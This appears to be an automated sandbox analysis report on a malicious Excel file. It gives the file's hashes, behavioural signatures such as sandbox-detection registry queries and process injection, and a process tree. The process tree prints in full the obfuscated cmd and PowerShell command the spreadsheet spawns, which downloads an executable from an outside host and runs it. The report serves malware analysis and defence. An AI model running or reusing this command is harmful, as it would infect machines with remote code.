Analysis
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max time kernel
47s -
max time network
37s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
22-07-2024 22:20
Behavioral task
behavioral1
Sample
3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls
Resource
win10v2004-20240709-en
General
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Target
3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls
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Size
72KB
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MD5
2de767f38788217a8265ee15b91e5bb9
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SHA1
f9ee5c0226f01e061bee62e20514ea568bf3165f
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SHA256
3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3
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SHA512
1312b523aab8bd701228ff95a05c96fc9b14047d1496c7b10b780c7d40c0203b095477805fc24a1dafc18270e897145ee7cbd7ff675df7179faaba11df4b5bcb
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SSDEEP
1536:AaOadvxHlcaQPy0iWYOcG4BDhnxD7oOExxEtjPOtioVjDGUU1qfDlaGGx+cL2QnZ:AaOadvxHlcaAy0iWYOcG4BDhnxD7oOEe
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4048 1420 CMd.exe 83 -
pid Process 4820 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1420 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4820 powershell.exe 4820 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4820 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1420 EXCEL.EXE 1420 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE 1420 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1420 wrote to memory of 4048 1420 EXCEL.EXE 88 PID 1420 wrote to memory of 4048 1420 EXCEL.EXE 88 PID 4048 wrote to memory of 4820 4048 CMd.exe 90 PID 4048 wrote to memory of 4820 4048 CMd.exe 90
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3dca7da0a86761efc51704f907b6f17f167bba19ba94558fac46e65c9ecebbb3.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows\SYSTEM32\CMd.exeCMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4820
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5a1cc47577ae96474a22fca1b2662dc42
SHA128e2e862446d71ffed9f6413413239f36e9a3486
SHA2561ca37f1dd9e7c9846d64db9800a60325bc374969a3f4b87d2f1e702ee9d1bd4c
SHA5126981579ad9255c5cb9fd1dc1c0194e6bc0429257a9bb4a4111b41a17cf4ddae1206814195453168353e8b91a8ba0547df83de0e60f9943406756b55d5d41a7ea